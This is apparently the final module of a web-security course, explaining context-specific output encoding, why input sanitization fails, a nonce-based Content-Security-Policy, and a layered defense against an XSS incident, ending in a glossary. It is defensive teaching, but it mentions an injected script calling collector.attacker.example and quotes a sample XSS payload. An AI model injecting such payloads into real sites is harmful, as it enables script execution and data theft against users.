ContextRequired encodingWhat a naive HTML escape misses
Element text — <td>VALUE</td>HTML entity encodingNothing; this is the case it handles
Attribute value — <td title="VALUE">HTML entity encoding, always quotedAn unquoted attribute lets a payload add onmouseover=… with no angle brackets at all
Inside a script block — var n = "VALUE";JavaScript string encoding</script> inside the value terminates the block; entity encoding does not help here
URL position — <a href="VALUE">URL encoding plus a scheme allowlistjavascript: URLs, which contain no escapable characters

Modern frameworks do the common cases correctly and by default. React escapes interpolated values, so {wine.name} renders the payload as visible text — the incident could not have happened through that path. What matters is knowing where the framework stops.

The anti-pattern, named

innerHTML with user input. Symptom: cell.innerHTML = wine.name; or React's dangerouslySetInnerHTML={{ __html: note }} — usually introduced to support one legitimate need, like bold text in a tasting note. Corrective: use textContent when the value is text, which cannot execute anything; when markup genuinely must be rendered, sanitize with a maintained library against an allowlist immediately before rendering. The API is named dangerouslySetInnerHTML deliberately: it is grep-able, and every occurrence deserves a comment naming who sanitized the value and where.

Why input sanitization is the wrong layer

Stripping <script> on the way in feels like defense and fails as a strategy. It must anticipate every encoding and every context — event-handler attributes, javascript: URLs, unusual entity forms — with no knowledge of where the value will eventually be rendered. It corrupts legitimate data: a wine named "Cuvée <Reserve>" is mangled forever. And it produces a false sense of coverage that survives into design reviews. Validate input for shape and length by all means; encode for safety at output, where the context is known.

CSP: the layer behind the fix

CSP — Content-Security-Policy — is a response header in which the origin's owner declares what the browser is permitted to execute and load. It is the layer that catches what escaping missed, because escaping is applied by humans at hundreds of call sites and CSP is applied by the browser at one.

The wine-cellar's policy after the incident:

Content-Security-Policy:
  default-src 'self';
  script-src 'self' 'nonce-r4nd0mP3rR3sp0ns3';
  connect-src 'self' https://api.cellar.example;
  object-src 'none';
  base-uri 'self';
  frame-ancestors 'none'

Against the incident: script-src 'self' 'nonce-…' means the browser executes scripts served from this origin ('self') or any script — including inline — that carries the current response's nonce; the nonce is required only for inline scripts and for cross-origin ones. The injected tag pointed at collector.attacker.example and carried no nonce, so it is refused before executing — and had the payload been an inline <script>alert(1)</script>, the missing nonce would have refused that too. connect-src additionally restricts where the page may send data, which narrows exfiltration channels.

What CSP does not do, stated as plainly:

  • It does not stop exfiltration over allowed channels. A payload that can execute can still call your own API and can encode data into any request the policy permits.
  • It does not stop logic abuse. Injected code that manipulates the page or performs authorized actions violates no directive.
  • It does not repair the underlying defect. The unescaped interpolation is still there, and the next context — an email template, a PDF export, a native app rendering the same field — is outside the browser's policy entirely.
The anti-pattern, named

Disabling CSP because it broke an inline script. Symptom: the day before launch, an inline analytics snippet stops running, and the change that ships is either removing the header or adding 'unsafe-inline' to script-src — which disables the protection while leaving the header in place to reassure everyone in the next review. Corrective: give the legitimate inline script the response's nonce, which is exactly the case nonces exist for. If the snippet is third-party and cannot take a nonce, move it to a file served from your origin or accept it as a documented exception with a hash. Deploying report-only first — collecting violations without enforcing — is the right way to find these before launch rather than at it. Removing the airbag because it deployed is not a fix.

The runtime, read end to end

The full fix stack for the incident, each layer with its exact contribution.

Escape at output. Every interpolation of user-controlled data is encoded for its context; the shared-cellar template moves to the framework's default escaping and the two dangerouslySetInnerHTML call sites are replaced with textContent. This stops the payload from becoming code at all — it is the fix; everything below it is a layer for the next time someone misses one.

Delete the localStorage token. Module 06's finding: the legacy JWT is removed and outstanding tokens revoked, so a payload can no longer walk off with a portable credential.

HttpOnly, Secure, SameSite on the session cookie. Confines a future compromise to the victim's browser during execution; explicitly does not prevent session riding.

CSP with a nonce. Refuses foreign and unnonced scripts, so an injection that survives review does not execute; connect-src narrows where anything that does execute may send data.

Detection. Server-side alerting on bulk destructive operations and on API call patterns inconsistent with the UI, because every layer above is preventive and something has to notice the case where all of them fail.

Four defense layers drawn in sequence with the attack passing through each, annotated with what each layer stops and what passes through itNo layer stops everything — which is the argument for all of them1 · Output escapingStops: the payload everbecoming codePasses: nothing — if applied2 · No token in storageStops: portable credentialtheftPasses: session riding3 · HttpOnly + SameSiteStops: reading the cookie,cross-site sendsPasses: same-origin riding4 · CSP + nonceStops: foreign and unnoncedscripts executingPasses: allowed channelsattack path — thinner at each layer, never zero5 · Detection — server-side alerting on bulk destructive operations and non-UI call patternsEvery layer above is preventive; this one exists for the day they all fail.Layer 1 is the fix. Layers 2–4 are what stand between you and the next missed call site.Read left to right: what each layer removes from the attacker's options, and what it leaves them.
Figure 8.2 — The layered defense. Output escaping prevents the payload from becoming code at all; removing the stored token prevents portable credential theft; HttpOnly and SameSite confine what remains to the victim's browser; CSP refuses execution of scripts the origin never sanctioned. Each layer leaves something through — named beneath it — which is precisely why the stack is a stack and not a choice.

The map, closed. Return to Figure 1.1 and fill it in. The left half: parsing produces a live DOM that diverges from the served file (module 02); the pipeline stages style, layout, paint, and composite, and your change costs the earliest stage it invalidates (module 03); loading rules decide when the first pixel appears (module 04); and one thread with two queues decides what runs next, which is why long work freezes rather than slows (module 05). The right half: storage is origin-keyed, and only an HttpOnly cookie is invisible to script (module 06); the origin is a three-part tuple and the same-origin policy blocks reads while permitting sends, with CORS as the resource owner's opt-in to being read (module 07); and XSS is the case where code lands inside the origin and the entire right half stops applying (module 08).

The two-tension map from module one re-rendered with every region filled in by the mechanism the corresponding module taught, and the course route traced across itThe map, closedResponsiveness — one thread02 · Parsingrecovery is spec-defined; the DOM is liveand diverges from the served file03 · Pipelinestyle → layout → paint → composite;you pay from the earliest stage you touch04 · LoadingCSS blocks render, JS blocks parsing,CSS blocks JS — defer removes the stall05 · Event looprun-to-completion; microtasks drain beforerendering — long work stops the pageIsolation — strangers in one runtime06 · Storageorigin-keyed and script-readable; only anHttpOnly cookie is invisible — not unusable07 · Origin and SOPscheme + host + port, compared exactly;reads blocked, sends allowed07 · CORSthe owner's opt-in to being read; the browserenforces it — which is why curl never sees it08 · XSS and CSPcode inside the origin — this half stopsapplying; escape at output, then layerRoute: 01 plants the map · 02–05 fill the left half · 06–08 fill the right · 08 closes it.Diagnostic habit: name the half before naming the fix.
Figure 8.3 — The two-tension map, closed. Figure 1.1 with every region replaced by the mechanism that governs it. The left half explains freezes, jank, and slow first paint; the right half explains CORS errors and stolen sessions — except for the last cell, where hostile code is inside the origin and the isolation machinery has nothing left to compare. Reading a symptom starts here: name the half, then the mechanism, then the instrument.

The three mysteries from module 01, now sentences. The cellar table froze for a second because a click handler ran 5,000 forced synchronous layouts on the only thread that can paint — one long task, no frames, input queued behind it. The CORS error appeared while curl returned 200 because curl has no origin and enforces nothing, while the browser sent the request, got the response, and refused to hand it to a script from an origin the response had not named. The screen stayed blank for 800 ms after the HTML arrived because a third-party script tag in the head halted the parser for a DNS lookup, a TLS handshake, and a transfer, and nothing paints before the parse and the stylesheet finish.

None of those is an incantation. Each is a mechanism with a name, an instrument that shows it, and a fix that follows from the mechanism rather than from folklore. That was the promise.

Concept index

Browser engine
The subsystem (Blink, WebKit, Gecko) that parses, renders, and executes a page — the runtime the rest of this guide describes.
Renderer process
The sandboxed OS process a site's pages run in; one per site under site isolation, so a crash or compromise stays contained.
Site isolation
The policy of giving different sites different renderer processes, making the OS process boundary part of the security model.
Main thread
The single thread per renderer that runs JavaScript, style, layout, and paint — the scarcest resource in the browser.
Sandbox
The set of OS-level restrictions that deny a renderer process direct access to the filesystem, network, and other processes.
Tokenization
The first parsing stage: turning the byte stream into tags, attributes, and text tokens.
DOM
The live, mutable tree the browser builds from HTML and every script mutation since — the page's runtime state, not its source.
Tolerant parsing
Spec-defined error recovery: broken markup yields a deterministic repaired tree, never a parse failure.
View Source vs. Elements
The served bytes versus the live DOM — two different artifacts that answer two different questions.
Computed style
The final per-element style values after the cascade resolves — input to layout.
Layout (reflow)
The pipeline stage that solves every element's geometry; triggered by size, position, and content changes, and by layout reads after writes.
Paint
The stage that rasterizes styled, positioned elements into pixels on layers.
Compositing
Assembling painted layers on the GPU; transform and opacity changes can often be handled here alone — the cheap path.
Layout thrashing
Forcing repeated synchronous layouts by interleaving DOM writes with layout reads; the classic self-inflicted jank.
Long task
Main-thread work exceeding roughly 50 ms; nothing paints and no input runs until it finishes.
Flame chart
The Performance panel's visualization of main-thread work over time; where long tasks and their composition are read.
Critical rendering path
The chain of work — DOM, CSSOM, render tree, layout, paint — that must finish before first pixels.
Parser-blocking script
A plain script tag with src that halts HTML parsing until it is fetched and executed.
async
Script attribute: fetch in parallel, execute on arrival, order not guaranteed — for independent scripts.
defer
Script attribute: fetch in parallel, execute after parsing in document order — for scripts that need the DOM.
CSSOM
The parsed object model of all CSS; rendering waits on it, and scripts that read styles wait on it too.
Event loop
The scheduler that moves one task at a time onto an empty call stack — the browser's entire concurrency model.
Call stack
Where the currently executing JavaScript lives; the page is frozen whenever it is non-empty.
Task queue
The line of pending handlers, timers, and I/O completions, serviced one per loop turn.
Microtask
Higher-priority queue (promise callbacks) drained completely after each task, before rendering.
Run-to-completion
The guarantee that a function is never preempted mid-execution — and the reason long tasks freeze pages.
localStorage
Persistent, synchronous, origin-keyed string storage — readable by any script in the origin, including injected ones.
sessionStorage
Per-tab, per-origin storage that dies with the tab.
IndexedDB
Asynchronous, origin-keyed structured storage for data too large or complex for localStorage.
HttpOnly
Cookie attribute removing it from document.cookie — the only script-invisible storage, though payloads can still ride the session.
SameSite
Cookie attribute controlling whether the cookie rides along on cross-site requests; the primary CSRF mitigation.
Origin
The scheme + host + port tuple; the identity unit of the web's security model, compared exactly.
Same-origin policy
The default rule that scripts may read only responses and DOM belonging to their own origin.
CORS
The header protocol by which a response's owner tells the browser to relax the same-origin read block for a named origin.
Preflight
The browser's OPTIONS request asking permission before sending a non-simple cross-origin request.
Simple request
A cross-origin request the browser sends without preflight, gating only the response read.
XSS
Attacker-controlled content executing as code inside the victim origin — inside the wall, so the same-origin policy cannot help.
Output encoding
Escaping data for the context it is rendered into at the moment of output — the primary XSS defense.
CSP
Content-Security-Policy: the origin owner's allowlist of what may execute, mitigating what escaping missed.
Nonce
A per-response random token that marks specific inline scripts as intentional under CSP.

This is the complete text of the course. With JavaScript enabled, this same page runs the interactive edition — a self-diagnostic that reorders the syllabus around your gaps, knowledge checks, applied worksheets with model answers, and a spaced-repetition review queue — with progress saved locally in your browser.